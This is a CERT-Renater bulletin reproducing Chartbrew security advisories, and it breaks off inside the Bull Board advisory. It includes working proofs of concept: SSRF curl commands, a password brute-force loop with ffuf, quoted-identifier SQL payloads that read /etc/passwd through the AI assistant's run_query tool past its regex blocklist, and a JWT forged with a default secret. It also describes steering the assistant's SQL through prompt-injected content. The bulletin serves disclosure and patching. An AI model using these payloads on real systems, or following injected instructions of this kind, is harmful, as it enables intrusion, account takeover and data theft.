Ce mail provient de l'extérieur, restons vigilants ===================================================================== CERT-Renater Note d'Information No. 2026/VULN939 _____________________________________________________________________ DATE : 25/09/2026 HARDWARE PLATFORM(S): / OPERATING SYSTEM(S): Systems running chartbrew (npm) versions prior to 5.3.0, 5.2.3. ===================================================================== https://github.com/chartbrew/chartbrew/security/advisories/GHSA-4q3v-5r7x-58q2 https://github.com/chartbrew/chartbrew/security/advisories/GHSA-crwc-vx5f-mh8x https://github.com/chartbrew/chartbrew/security/advisories/GHSA-jw2r-hrxg-cfgc https://github.com/chartbrew/chartbrew/security/advisories/GHSA-qvv4-r3q6-8797 https://github.com/chartbrew/chartbrew/security/advisories/GHSA-w8g3-j8rf-qc5j https://github.com/chartbrew/chartbrew/security/advisories/GHSA-p5h6-f969-jpfv https://github.com/chartbrew/chartbrew/security/advisories/GHSA-6gv3-8wxh-6vfq _____________________________________________________________________ SSRF to Internal Network via User-Controlled allowPrivateHost Flag on API Connections Critical razvanilin published GHSA-4q3v-5r7x-58q2 Package chartbrew (npm) Affected versions >= 4.8.5, <= 5.2.2 Patched versions 5.3.0 Description Summary Chartbrew versions 4.8.5 through 5.2.2 contain a server-side request forgery (SSRF) vulnerability in the API Connection feature. An authenticated user with permission to create or update an API connection can provide allowPrivateHost: true in the connection payload. Chartbrew persists this value and later uses it when enforcing its outbound-request policy. When enabled, requests to private and reserved network addresses are allowed, permitting the Chartbrew server to make HTTP requests to services that may not otherwise be reachable by the attacker. Additionally, migration 20260305090000-add-allow-private-host-connection.js set allowPrivateHost to true for every pre-existing API connection. Consequently, instances upgraded to an affected version had the private-network exception enabled on their existing API connections. Recognized cloud metadata hostnames and addresses are subject to a separate block and remain prohibited even when allowPrivateHost is enabled. Details The Connection model contains a persistent allowPrivateHost Boolean field. In affected versions, connection creation and update operations pass user-controlled properties directly to Sequelize: async create(data) { const dataToSave = { ...data }; if (!data.type) data.type = "mongodb"; return db.Connection.create(dataToSave); } update(id, data) { return db.Connection.update(data, { where: { id } }); } This allows an authorized connection manager to submit: { "type": "api", "name": "Private host connection", "host": "http://10.10.10.20:8080", "allowPrivateHost": true } When Chartbrew executes or tests the connection, buildApiPolicyContext() in server/sources/shared/protocols/api.protocol.js copies the stored value into the outbound-request policy context: if (typeof connection?.allowPrivateHost === "boolean") { context.allowPrivateHost = connection.allowPrivateHost; } resolveAllowPrivateHost() then gives this per-connection value precedence over the instance-level CB_ALLOW_PRIVATE_NETWORK_CALLS configuration: function resolveAllowPrivateHost(context = {}) { if (typeof context.allowPrivateHost === "boolean") { return context.allowPrivateHost; } return getGlobalAllowPrivateNetworkCalls(); } During target validation, private and reserved addresses are rejected only when this value is false: if (isPrivateOrReservedAddress(resolvedAddress.address)) { if (!allowPrivateHost) { throw createPolicyError( "private_network", "Requests to private or reserved network ranges are blocked." ); } } The affected migration also enabled this exception for every existing API connection: await queryInterface.bulkUpdate( "Connection", { allowPrivateHost: true }, { type: "api" } ); The resulting data flow is: User-controlled connection payload ↓ allowPrivateHost=true persisted ↓ Stored value added to outbound policy context ↓ Stored value overrides the instance default ↓ Private-network rejection is skipped ↓ Request is sent from the Chartbrew server Proof of concept Only test this against a controlled private-network service. Start a test HTTP server on a private address reachable from the Chartbrew server. For example: mkdir chartbrew-ssrf-test cd chartbrew-ssrf-test echo "chartbrew-ssrf-test" > index.html python3 -m http.server 8080 --bind 0.0.0.0 Assume this service is reachable from Chartbrew at http://10.10.10.20:8080. Configure the target Chartbrew instance: TARGET="https://chartbrew.example.com" TEAM_ID="1" TOKEN="" Create an API connection with private-host access enabled: CONNECTION=$(curl -sS -X POST \ "$TARGET/team/$TEAM_ID/connections" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "type": "api", "subType": "api", "name": "Controlled private-host test", "host": "http://10.10.10.20:8080", "team_id": 1, "allowPrivateHost": true }') CONNECTION_ID=$(printf "%s" "$CONNECTION" | \ python3 -c "import json,sys; print(json.load(sys.stdin)['id'])") echo "Connection ID: $CONNECTION_ID" The resulting connection contains allowPrivateHost: true. Trigger the connection test: curl -sS \ "$TARGET/team/$TEAM_ID/connections/$CONNECTION_ID/test" \ -H "Authorization: Bearer $TOKEN" The connection test succeeds, and the controlled HTTP server records an inbound request from the Chartbrew server. If the connection is created without allowPrivateHost, with the field set to false, or after applying the patch, the same request is rejected with an outbound-policy error whose reason is private_network, unless the Chartbrew instance administrator has explicitly enabled private-network calls globally. The update endpoint is also affected in vulnerable versions. An existing connection can be modified using PUT /team/:team_id/connections/:connection_id with allowPrivateHost: true. Impact An authenticated user who can manage API connections may use the Chartbrew server to interact with HTTP services on private or reserved network addresses. Depending on the network in which Chartbrew is deployed and the services reachable from it, this may allow an attacker to: Enumerate internal HTTP hosts and ports. Read unauthenticated internal API endpoints. Access internal administration or monitoring interfaces. Interact with services that trust requests originating from the local network. Trigger state-changing operations on unprotected internal HTTP APIs. Reach an unauthenticated Docker API or similar management service when one is exposed over HTTP. Retrieve internal configuration or operational information. Disrupt internal services accessible from the Chartbrew host. The impact depends on the services reachable from the Chartbrew deployment and the authentication required by those services. Cloud metadata endpoints recognized by Chartbrew remain separately blocked and are not included in the claimed impact. Affected versions The vulnerable behavior was introduced in Chartbrew 4.8.5. The following released versions are affected: >= 4.8.5, <= 5.2.2 Patches The issue was addressed by commit 78f49f4f. The remediation: Removes allowPrivateHost from user-controlled connection creation and update data. Changes the original migration so new upgrades do not enable private-host access on existing API connections. Adds a follow-up migration that resets allowPrivateHost to null on previously migrated API connections. Returns affected connections to the instance-controlled outbound policy. Adds tests covering connection creation, connection updates, and migration behavior. The fix will be included in the next patched Chartbrew release. Workarounds Administrators who cannot upgrade immediately should: Reset allowPrivateHost to NULL or false for every API connection in the Connection database table. Prevent connection API clients from setting allowPrivateHost. Restrict outbound traffic from the Chartbrew server or container using firewall or network-policy rules. Ensure internal administration and management services require authentication. Setting CB_ALLOW_PRIVATE_NETWORK_CALLS=false alone is not sufficient when an existing connection has allowPrivateHost=true, because the stored per-connection value takes precedence in affected versions. Severity Critical 9.1/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required High User interaction None Scope Changed Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H CVE ID CVE-2026-68935 Weaknesses Weakness CWE-918 _____________________________________________________________________ Unauthenticated Brute Force of Password-Protected Dashboards Due to Missing Rate Limit and Plaintext Password Storage High razvanilin published GHSA-crwc-vx5f-mh8x Package chartbrew (npm) Affected versions <= 5.2.2 Patched versions 5.3.0 Description Summary I found that Chartbrew's public password-protected dashboard endpoint has no rate limiting and stores dashboard passwords as plaintext strings. The GET /project/dashboard/:brewName?pass= route is wrapped only in getUserFromToken (an optional auth extractor, not a rate limiter) with no throttling middleware applied. Passwords are stored as raw DataTypes.STRING values in the database with no hashing. An unauthenticated attacker can brute-force the password for any public password-protected dashboard at thousands of guesses per second until successful. Details In server/api/ProjectRoute.js at line 483, the password check compares the raw URL query parameter to the stored plaintext password: // ProjectRoute.js line 483 — no rate limiting on this route if (project.public && project.passwordProtected && req.query.pass === project.password) { return res.status(200).send(processedProject); } The route definition applies no rate-limiting middleware: // ProjectRoute.js line 318 router.get("/dashboard/:brewName", getUserFromToken, async (req, res) => { // getUserFromToken is only an auth extractor, NOT a rate limiter // ... }); Other sensitive Chartbrew routes correctly apply apiLimiter: // ExampleRoute.js — rate-limited route for comparison: router.post("/login", apiLimiter(5), async (req, res) => { ... }); The Connection model stores dashboard passwords as DataTypes.STRING (no bcrypt/hashing): // server/models/models/project.js password: { type: DataTypes.STRING, // stored as plaintext — no hash The password is also transmitted in the URL query string (?pass=PASSWORD), making it visible in server access logs and proxy logs. PoC Prerequisites: A Chartbrew instance with at least one public password-protected dashboard Tools: curl, ffuf (or any HTTP fuzzer) TARGET="https://chartbrew.example.com" BREW_NAME="my-protected-dashboard" # Step 1 — Verify the dashboard exists and requires a password curl -s "$TARGET/project/dashboard/$BREW_NAME" | python3 -c " import sys, json d = json.load(sys.stdin) print('passwordProtected:', d.get('passwordProtected')) print('public:', d.get('public')) " # Expected: {"passwordProtected": true, "public": true, ...} — no chart data returned # Step 2 — Confirm rate limiting is absent (100 rapid requests, all succeed without lockout) for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" \ "$TARGET/project/dashboard/$BREW_NAME?pass=wrongpassword$i" done | sort | uniq -c # Expected: "100 400" — all return 400 (wrong password), none return 429 (rate limited) # Step 3 — Brute force with a common wordlist ffuf -u "$TARGET/project/dashboard/$BREW_NAME?pass=FUZZ" \ -w /usr/share/wordlists/common-passwords.txt \ -mc 200 \ -t 50 \ -rate 1000 # Expected: "Status: 200" line with the correct password displayed # Step 4 — Targeted brute force for numeric PINs (10,000 combinations) for PIN in $(seq -w 0000 9999); do STATUS=$(curl -s -o /dev/null -w "%{http_code}" \ "$TARGET/project/dashboard/$BREW_NAME?pass=$PIN") if [ "$STATUS" = "200" ]; then echo "Password found: $PIN" break fi done # Expected: prints the correct 4-digit PIN and terminates # Time: ~10 seconds at ~1000 req/s — 100% of 4-digit PINs tested # Step 5 — Retrieve full dashboard data once password is found curl -s "$TARGET/project/dashboard/$BREW_NAME?pass=FOUND_PASSWORD" | \ python3 -c "import sys,json; d=json.load(sys.stdin); print('Charts:', len(d.get('Charts', [])))" # Expected: all chart data, dataset values, and configuration returned Impact An unauthenticated attacker can: Bypass password protection on any public dashboard by brute-forcing the password — the lack of rate limiting makes this trivially fast even for strong passwords given enough time Instantly crack short or common passwords: 4-digit PINs are exhausted in seconds, common words in minutes Access all protected chart data: revenue figures, user metrics, analytics, and any other business data the dashboard owner intended to protect Enumerate dashboard contents without the password: the response structure reveals chart count and configuration even on failed attempts The attack leaves no meaningful trace beyond access log entries tha blend in with normal usage. Fix Add rate limiting to GET /project/dashboard/:brewName and GET /project/:brew_name/report: // Apply strict rate limiting (5 attempts per 15 minutes per IP): router.get("/dashboard/:brewName", apiLimiter(5, 15), getUserFromToken, async (req, res) => { Hash dashboard passwords using bcrypt on storage and compare with bcrypt.compare(): // On save: hash password project.password = await bcrypt.hash(rawPassword, 12); // On check: compare with hash if (await bcrypt.compare(req.query.pass, project.password)) { ... } Accept the password via POST body or Authorization header, not as a URL query string, to keep it out of server logs. If possible, please apply for a CVE number when publishing. I would greatly appreciate it. Severity High 7.5/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required None User interaction None Scope Unchanged Confidentiality High Integrity None Availability None CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVE ID CVE-2026-68933 Weaknesses Weakness CWE-307 Weakness CWE-312 _____________________________________________________________________ AI orchestrator run_query SQL blocklist bypass enables arbitrary file read on connected PostgreSQL (quoted-identifier + pg_stat_file/pg_ls_* sibling gap) High razvanilin published GHSA-jw2r-hrxg-cfgc Package chartbrew (npm) Affected versions = 5.2.2 Patched versions 5.3.0 Description Summary Chartbrew's AI assistant (POST /ai/orchestrate) exposes a run_query tool that executes LLM-generated SQL against a team's connected database. A defense-in-depth blocklist (DANGEROUS_SQL_PATTERNS in server/modules/ai/orchestrator/tools/runQuery.js) is the sole gate on that SQL before it reaches the live engine. The blocklist enumerates the PostgreSQL filesystem-access functions pg_read_file, pg_read_binary_file and pg_ls_dir by literal token, and the shipped unit test asserts these are rejected. The enumeration is incomplete in two ways: (1) it misses sibling functions on the same primitive (pg_stat_file, pg_ls_logdir, pg_ls_waldir, pg_ls_tmpdir, pg_ls_archive_statusdir, pg_current_logfile), and (2) the \b\s*\( regexes do not match the double-quoted identifier form, so "pg_read_file"('/etc/passwd') and convert_from("pg_read_binary_file"('/etc/passwd'),'UTF8') slip through and restore full arbitrary-file content read. Every payload is a syntactic SELECT, so it also survives the startsWith("SELECT") allowlist and reaches the raw Sequelize execute. A team owner/admin (or anyone able to steer the assistant's generated SQL via prompt content) can read arbitrary files from the connected PostgreSQL host. Affected versions chartbrew version 5.2.2 (latest release at time of report, tagged 2026-06-24; current master HEAD e14ffa0). The DANGEROUS_SQL_PATTERNS blocklist and normalizeSqlQuery gate were introduced after 5.2.1 (commit 8c8412e, 2026-06-18); 5.2.2 is the first and only released tag that ships the blocklist, and it ships the gap. Releases <= 5.2.1 have no blocklist at all on this path (an even wider hole). Not yet patched. Privilege required Authenticated teamOwner or teamAdmin on the team whose teamId is passed to POST /ai/orchestrate (enforced by checkAccess in server/api/AiRoute.js). This is below instance-admin but above a plain team member. The AI feature must be enabled (an OpenAI key configured on the instance). No credentials for the connected PostgreSQL are required from the attacker; Chartbrew holds them. Because the run_query tool's query argument is taken verbatim from the model's tool call and the attacker controls the natural-language question, the attacker also controls the SQL string transitively (directly steering the model, or via prompt-injection in any data the model is asked to read). Reachability / How input reaches sink POST /ai/orchestrate (server/api/AiRoute.js) is guarded by verifyToken and checkAccess, which requires the caller to be teamOwner or teamAdmin. The orchestrator (server/modules/ai/orchestrator/orchestrator.js) registers run_query as a model-callable tool whose query argument is a free-form string. Tool-call arguments are parsed verbatim from the model output (JSON.parse(toolCall.function.arguments)); only team_id is injected server-side, the query text is passed through untouched. The dispatch (case "run_query": return runQuery(payload);) calls runQuery, whose only gate on the SQL is normalizeSqlQuery(query); the separate validateQuery tool is a stub. After the gate returns, runQuery calls source.backend.runDataRequest with the gated string as processedQuery, which for the PostgreSQL source delegates through postgres.protocol.js to server/sources/shared/sql/sql.protocol.js, where the Sequelize dbConnection.query call runs the string raw against the team's connected PostgreSQL via a Sequelize connection built from the stored connection credentials (externalDbConnection). The attacker controls the natural-language question, hence the model-emitted SQL, hence the string that reaches the raw execute. Vulnerable code (file:line) server/modules/ai/orchestrator/tools/runQuery.js:12-35 (the DANGEROUS_SQL_PATTERNS literal): const DANGEROUS_SQL_PATTERNS = [ /\bdrop\b/i, /\bdelete\b/i, /\bupdate\b/i, /\binsert\b/i, /\btruncate\b/i, /\balter\b/i, /\bcreate\b/i, /\binto\b/i, /\bpg_read_file\s*\(/i, /\bpg_read_binary_file\s*\(/i, /\bpg_ls_dir\s*\(/i, /\blo_export\s*\(/i, /\blo_import\s*\(/i, /\bcopy\b[\s\S]*\bto\s+program\b/i, /\binto\s+(out|dump)file\b/i, /\bload_file\s*\(/i, /\bload\s+data\b/i, /\bgrant\b/i, /\brevoke\b/i, /\bexec(ute)?\b/i, /\bcall\b/i, /\bfile\s*\(/i, /\burl\s*\(/i, ]; server/modules/ai/orchestrator/tools/runQuery.js:49-83 (the normalizeSqlQuery gate that consults it), the SELECT allowlist and blocklist checks: const upperQuery = normalizedQuery.toUpperCase(); if (!upperQuery.startsWith("SELECT") && !upperQuery.startsWith("WITH")) { throw new Error("Only SELECT/WITH queries are allowed"); } if (normalizedQuery.includes(";")) { throw new Error("Multi-statement queries are not allowed"); } if (/--|\/\*|\*\//.test(normalizedQuery)) { throw new Error("SQL comments are not allowed in AI queries"); } if (DANGEROUS_SQL_PATTERNS.some((pattern) => pattern.test(normalizedQuery))) { throw new Error("Query contains blocked operations"); } return normalizedQuery; The maintainers' intent to block PostgreSQL file disclosure is explicit in the shipped test server/tests/unit/runQueryTool.test.js (it("rejects dangerous PostgreSQL filesystem functions", ...) asserting SELECT pg_read_file('/etc/passwd') throws "Query contains blocked operations"). Two gaps defeat that intent: Sibling-function gap. PostgreSQL ships a family of SELECT-callable filesystem functions. The blocklist names three of them and misses the rest: Function Returns In blocklist? pg_read_file('/path') file contents yes pg_read_binary_file('/path') binary contents yes pg_ls_dir('/path') directory listing yes pg_stat_file('/path') size, mtime, ctime, atime, isdir no pg_ls_logdir() log-dir filenames no pg_ls_waldir() WAL filenames and sizes no pg_ls_tmpdir() temp-dir listing no pg_ls_archive_statusdir() archive-status listing no pg_current_logfile() active log path no Quoted-identifier gap. Each blocklist regex is anchored on \b\s*\(. PostgreSQL accepts the double-quoted identifier form of any function name, and "pg_read_file"(...) is a valid, equivalent call. The " before the token means \bpg_read_file never matches, yet the engine executes it. This re-opens the very functions the blocklist covers, including full content read via "pg_read_file"(...) and convert_from("pg_read_binary_file"(...), 'UTF8'). _____________________________________________________________________ All of these are syntactic SELECT statements, so they pass the startsWith("SELECT") allowlist, pass the multi-statement and comment checks, evade the blocklist, and are returned clean. runQuery then passes the string to the raw Sequelize execute in server/sources/shared/sql/sql.protocol.js: const queryToExecute = getQueryToExecute({ processedQuery, dataRequest }); dbConnection = await externalDbConnection(savedConnection); const results = await dbConnection.query(queryToExecute, { type: Sequelize.QueryTypes.SELECT }); getQueryToExecute returns processedQuery (the model's SQL) unchanged. The validateQuery.js orchestrator tool that might have re-checked the SQL is a stub (return { valid: true, message: "Query validation not yet implemented" }), so normalizeSqlQuery is the only gate. Proof of concept The full-content-read bypass is a single run_query argument. Issued through the assistant (or written to the model as the desired SQL), it reads an arbitrary file from the connected PostgreSQL host: SELECT "pg_read_file"('/etc/passwd') AS f Binary-safe variant (bytea to text), same bypass: SELECT convert_from("pg_read_binary_file"('/etc/passwd'), 'UTF8') AS f Sibling recon functions the blocklist never enumerated, no quoting needed: SELECT pg_stat_file('/etc/passwd') AS f SELECT name FROM pg_ls_waldir() LIMIT 1 SELECT pg_current_logfile() AS f Each is a syntactic SELECT, passes normalizeSqlQuery, and executes on the connected engine. The end-to-end section below runs these through the shipped control and the shipped raw sink against a real PostgreSQL and captures the verbatim output. End-to-end reproduction (against pinned version 5.2.2) The reproduction drives the actually-shipped security control (normalizeSqlQuery, loaded verbatim from the shipped runQuery.js) and the actually-shipped raw execute path (sql.protocol.runDataRequest + externalDbConnection) against a real live PostgreSQL data source, wired exactly as runQuery.js wires them. A victim secret file is planted on the PostgreSQL host to stand in for /etc/passwd, pg_hba.conf, TLS keys, etc. # 1. Real victim PostgreSQL (stands in for a team's connected DB), superuser # role as is common in self-hosted setups. docker run -d --name cb_victim_pg -e POSTGRES_PASSWORD=victimpass \ -e POSTGRES_USER=postgres -e POSTGRES_DB=victimdb -p 55432:5432 postgres:16 docker exec cb_victim_pg bash -c \ 'echo PWNED_CHARTBREW_AI_SQL_BLOCKLIST_BYPASS_SECRET > /etc/cb_victim_secret.txt' # 2. Clone the exact release and install the two sink deps. git clone --depth 1 --branch v5.2.2 https://github.com/chartbrew/chartbrew.git cd chartbrew/server && npm install sequelize@6 pg --no-save # 3. Driver: load the shipped normalizeSqlQuery + DANGEROUS_SQL_PATTERNS # verbatim out of runQuery.js, feed its output to the shipped # sql.protocol.runDataRequest against the live Postgres, exactly as # runQuery.js does (gate -> execute). Then run it. node cb_poc_driver.js The driver's runThroughShippedPipeline(query) performs normalizeSqlQuery(query) (the shipped gate) then sqlProtocol.runDataRequest({ connection, dataRequest, processedQuery }) (the shipped raw sink). Verbatim run output: === chartbrew AI run_query blocklist E2E (shipped normalizeSqlQuery + shipped sql.protocol sink) === target: live PostgreSQL 127.0.0.1:55432 victimdb, role=postgres(superuser) [BLOCKED] OK baseline.pg_read_file query: SELECT pg_read_file('/etc/cb_victim_secret.txt') (rejected by shipped gate: Query contains blocked operations) [BLOCKED] OK baseline.pg_read_binary_file query: SELECT pg_read_binary_file('/etc/cb_victim_secret.txt') (rejected by shipped gate: Query contains blocked operations) [BLOCKED] OK baseline.pg_ls_dir query: SELECT pg_ls_dir('/etc') LIMIT 1 (rejected by shipped gate: Query contains blocked operations) [ALLOWED] OK bypass.quoted_pg_read_file query: SELECT "pg_read_file"('/etc/cb_victim_secret.txt') AS f rows=1 preview=[{"f":"PWNED_CHARTBREW_AI_SQL_BLOCKLIST_BYPASS_SECRET\n"}] [ALLOWED] OK bypass.quoted_pg_read_binary query: SELECT convert_from("pg_read_binary_file"('/etc/cb_victim_secret.txt'), 'UTF8') AS f rows=1 preview=[{"f":"PWNED_CHARTBREW_AI_SQL_BLOCKLIST_BYPASS_SECRET\n"}] [ALLOWED] OK bypass.pg_stat_file query: SELECT pg_stat_file('/etc/cb_victim_secret.txt') AS f rows=1 preview=[{"f":"(47,\"2026-07-03 18:36:24+00\",\"2026-07-03 18:36:14+00\",\"2026-07-03 18:36:14+00\",,f)"}] [ALLOWED] OK bypass.pg_ls_waldir query: SELECT name FROM pg_ls_waldir() LIMIT 1 rows=1 preview=[{"name":"000000010000000000000001"}] [ALLOWED] OK bypass.pg_current_logfile query: SELECT pg_current_logfile() AS f rows=1 preview=[{"f":null}] [ALLOWED] OK benign.normal_select query: SELECT 1 AS a, 'hello' AS b rows=1 preview=[{"a":1,"b":"hello"}] The headline payload SELECT "pg_read_file"('/etc/cb_victim_secret.txt') returns the marker string verbatim from a file on the PostgreSQL host, through the shipped gate and the shipped raw execute. The three baseline payloads the maintainers intended to block are correctly rejected, confirming the control is active and this is a bypass of it, not an absence of it. In a live deployment the same SQL is produced by the assistant's model when an attacker asks the assistant (via POST /ai/orchestrate's question field, or via prompt-injected content the assistant reads) to emit it; the orchestrator passes the model's run_query query argument through untouched to normalizeSqlQuery and then to the sink. Patched-build re-run (fix verification) Applying the Suggested fix below and re-running the identical driver flips every bypass to [BLOCKED] while the benign SELECT still passes: [BLOCKED] OK baseline.pg_read_file [BLOCKED] OK baseline.pg_read_binary_file [BLOCKED] OK baseline.pg_ls_dir [BLOCKED] OK bypass.quoted_pg_read_file [BLOCKED] OK bypass.quoted_pg_read_binary [BLOCKED] OK bypass.pg_stat_file [BLOCKED] OK bypass.pg_ls_waldir [BLOCKED] OK bypass.pg_current_logfile [ALLOWED] OK benign.normal_select rows=1 preview=[{"a":1,"b":"hello"}] [ALLOWED] OK benign.mentions_file_col rows=1 preview=[{"file":"pg_statistic"}] Impact Arbitrary file content read from the connected PostgreSQL host via "pg_read_file"('/path') and convert_from("pg_read_binary_file"('/path'), 'UTF8'). When Chartbrew connects to PostgreSQL with a superuser or a role in pg_read_server_files (common in self-hosted setups where the operator points Chartbrew at their DB with an admin role), absolute paths resolve and the reach extends to postgresql.conf, pg_hba.conf, ~/.pgpass, server TLS private keys, and any file readable by the PostgreSQL OS user. With a non-superuser role, reads are confined to PGDATA-relative paths. Filesystem reconnaissance via pg_stat_file (existence, size, timestamps), pg_ls_logdir, pg_ls_waldir, pg_ls_tmpdir, pg_ls_archive_statusdir, pg_current_logfile, independent of the quoted-identifier trick. The bypass defeats a control the project explicitly tests, so any operator relying on "the AI assistant is read-only and cannot touch the filesystem" is exposed. Suggested fix Replace the three per-function pg_* entries with one family-prefix regex that also tolerates the double-quoted identifier form: const DANGEROUS_SQL_PATTERNS = [ /\bdrop\b/i, /\bdelete\b/i, /\bupdate\b/i, /\binsert\b/i, /\btruncate\b/i, /\balter\b/i, /\bcreate\b/i, /\binto\b/i, // Block the whole PostgreSQL filesystem-access family (pg_read_file, // pg_read_binary_file, pg_read_server_file(s), pg_stat_file, pg_ls_dir, // pg_ls_logdir, pg_ls_waldir, pg_ls_tmpdir, pg_ls_archive_statusdir, // pg_current_logfile) including double-quoted identifier forms. /(?:\b|")pg_(?:read|stat|ls|current_logfile)[a-z0-9_]*"?\s*\(/i, /\blo_export\s*\(/i, /\blo_import\s*\(/i, /\bcopy\b[\s\S]*\bto\s+program\b/i, /\binto\s+(out|dump)file\b/i, /\bload_file\s*\(/i, /\bload\s+data\b/i, /\bgrant\b/i, /\brevoke\b/i, /\bexec(ute)?\b/i, /\bcall\b/i, /\bfile\s*\(/i, /\burl\s*\(/i, ]; A more robust alternative, since the orchestrator already parses SQL, is to walk the parsed statement's function-call nodes and reject any whose lower-cased name starts with pg_read, pg_stat, pg_ls, or equals pg_current_logfile (AST matching is immune to quoting and whitespace games). Regardless of approach, blocklisting SQL by identifier remains best-effort; the durable control is to connect Chartbrew's data sources with a least-privilege DB role that lacks pg_read_server_files. Extend server/tests/unit/runQueryTool.test.js with regression cases for the quoted-identifier form and the pg_stat_file / pg_ls_waldir / pg_current_logfile siblings. Fix PR A private temp-fork PR applying the family-prefix blocklist and the regression tests accompanies this advisory: https://github.com/chartbrew/chartbrew-ghsa-jw2r-hrxg-cfgc/pull/1 Credit Reported by tonghuaroot. Severity High CVE ID CVE-2026-69128 Weaknesses Weakness CWE-22 Weakness CWE-184 Credits @tonghuaroot tonghuaroot Reporter _____________________________________________________________________ Full account takeover via JWTs accepted under default CB_SECRET Critical razvanilin published GHSA-qvv4-r3q6-8797 Package chartbrew (npm) Affected versions <= 5.2.2 Patched versions None Description Summary Chartbrew's server authenticates every API and websocket request by verifying the bearer JWT against two keys: first CB_ENCRYPTION_KEY, then, on failure, a second key CB_SECRET (server/modules/verifyToken.js:26, verifyUser.js:27, getUserFromToken.js:22, socketManager.js:43). Neither jwt.verify call passes an algorithms option, so an HS256 token signed with CB_SECRET is accepted for any user id. Real sessions are signed only with CB_ENCRYPTION_KEY (server/api/UserRoute.js:25), so CB_SECRET is a second, redundant authentication key no legitimate token uses. CB_SECRET ships in .env-template as the fixed value change_to_random_string, carries the comment "[deprecated] This is not used anymore", and is never generated at boot, while CB_ENCRYPTION_KEY is randomized by setUpEncryptionKeys.js. A stock source or docker-compose install therefore authenticates with a globally known secret. Result: an unauthenticated attacker forges a JWT for any user id and holds that user's full session, bypassing password and 2FA. Affected chartbrew/chartbrew server, <= v5.2.2 (current latest as of 2026-07-16). Confirmed live-exploitable on master HEAD 7ecc3be (identical code to the v5.2.2 release). Installs whose CB_SECRET is the shipped default change_to_random_string or otherwise known/weak: the source install (npm run setup copies .env-template to .env) and the repo docker compose (env_file .env derived from the template). The README bare docker run snippet is not affected: it sets CB_ENCRYPTION_KEY but not CB_SECRET, leaving CB_SECRET undefined and the fallback inert. Root cause Four auth middlewares fall back to jwt.verify(token, settings.secret) with no algorithms allow-list after the primary CB_ENCRYPTION_KEY verification fails (server/modules/verifyToken.js:26, verifyUser.js:27, getUserFromToken.js:22, socketManager.js:43). settings.secret maps to process.env.CB_SECRET (server/settings.js:3), while user sessions are signed only with settings.encryptionKey (server/api/UserRoute.js:25), so the CB_SECRET path is a second acceptance key no legitimate token uses. CB_SECRET ships as the static placeholder change_to_random_string in .env-template:32 under the comment "[deprecated] This is not used anymore, but it's kept here for legacy reasons". setUpEncryptionKeys.js generates CB_ENCRYPTION_KEY when empty but never touches CB_SECRET, and the README documents generating only CB_ENCRYPTION_KEY, so operators leave the default in place. A token decoding to any {id} under the known CB_SECRET is accepted as that user across the entire API and socket layer. Reproduction chartbrew v5.2.2 built from the repo docker-compose, default config. The test instance used CB_SECRET=legacy_unused_secret; the shipped default change_to_random_string was separately confirmed on a recreated instance. Forge an HS256 JWT for the victim user id, signed with the known CB_SECRET, with no login. HEADER {"alg":"HS256","typ":"JWT"} PAYLOAD {"id":2} KEY change_to_random_string (shipped default; test instance used legacy_unused_secret) Present it to any authenticated route. GET /user/2 HTTP/1.1 Authorization: Bearer HTTP/1.1 200 OK {"id":2,"email":"victim@corp.test","name":"Victim", ...} Mint a fresh, app-issued session for the victim. POST /user/relog HTTP/1.1 Authorization: Bearer HTTP/1.1 200 OK {"id":2,"email":"victim@corp.test", ..., "token":""} Live-verified: an unauthenticated request with a CB_SECRET-signed token returns the victim profile and a fresh victim session token; a garbage-signature control returns 401. Impact Full session as any user id (sequential integers from 1): read, write, delete of that user's data. Password and 2FA bypassed: the forge never touches the login path. Reaches instance admin if any user has admin=1. Anonymous, single request, no user interaction, on default config. Credit Jan Kahmen, turingpoint (jan@turingpoint.de) Severity Critical 9.8/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required None User interaction None Scope Unchanged Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVE ID CVE-2026-85295 Weaknesses Weakness CWE-1394 Credits @kah-ja kah-ja Reporter _____________________________________________________________________ Unauthenticated BullMQ Admin Dashboard Exposure in Chartbrew Critical razvanilin published GHSA-w8g3-j8rf-qc5j Package No package listed Affected versions 5.2.2 Patched versions 5.2.3 Description Unauthenticated BullMQ Admin Dashboard Exposure in Chartbrew Summary Chartbrew exposes the BullMQ Bull Board administration dashboard at /apps/queues without authentication or authorization controls. An unauthenticated remote attacker who can reach the Chartbrew backend can access internal queue information, inspect job payloads and logs, and potentially retry, delete, modify, or create jobs. Details The vulnerability exists in server/setUpQueues.js, where Chartbrew initializes Bull Board and mounts its Express router directly at /apps/queues. const serverAdapter = new ExpressAdapter(); serverAdapter.setBasePath("/apps/queues"); createBullBoard({ queues: [ new BullMQAdapter(updateChartsQueue), new BullMQAdapter(updateDashboardsQueue), new BullMQAdapter(updateMongoDBSchemaQueue), new BullMQAdapter(dashboardSnapshotQueue), new BullMQAdapter(updateSnapshotsQueue), ], serverAdapter, options: { uiConfig: { boardTitle: "Chartbrew Jobs", }, }, }); app.use( "/apps/queues", (req, res, next) => { res.setHeader( "Content-Security-Policy", "default-src 'self'; img-src *;" ); next(); }, serverAdapter.getRouter() ); The middleware registered before serverAdapter.getRouter() only sets a Content Security Policy response header. It does not authenticate the requester and does not verify that the requester has administrator privileges. Unlike protected Chartbrew API routes, this route does not use authentication middleware such as verifyToken. It also does not perform a team administrator or server administrator permission check. The dashboard exposes the following internal queues: updateChartsQueue updateDashboardsQueue updateMongoDBSchemaQueue dashboardSnapshotQueue updateSnapshotsQueue Bull Board provides functionality for inspecting queues and individual jobs. Depending on the installed Bull Board version and queue state, exposed operations may include: Reading job payloads and return values Reading execution logs and error messages Retrying failed or completed jobs Deleting jobs Adding jobs Updating job data Pausing and resuming queues Cleaning or emptying queues Because the Bull Board router and its associated API endpoints are mounted without access-control middleware, these operations may be accessible to an unauthenticated requester. The issue affects Chartbrew v5.2.2 and was also present in the reviewed master branch. PoC Preconditions A self-hosted Chartbrew instance is running. The Chartbrew backend is network-accessible. A reverse proxy does not independently block /apps/queues. Redis and BullMQ are enabled. The attacker does not have a valid Chartbrew account or JWT 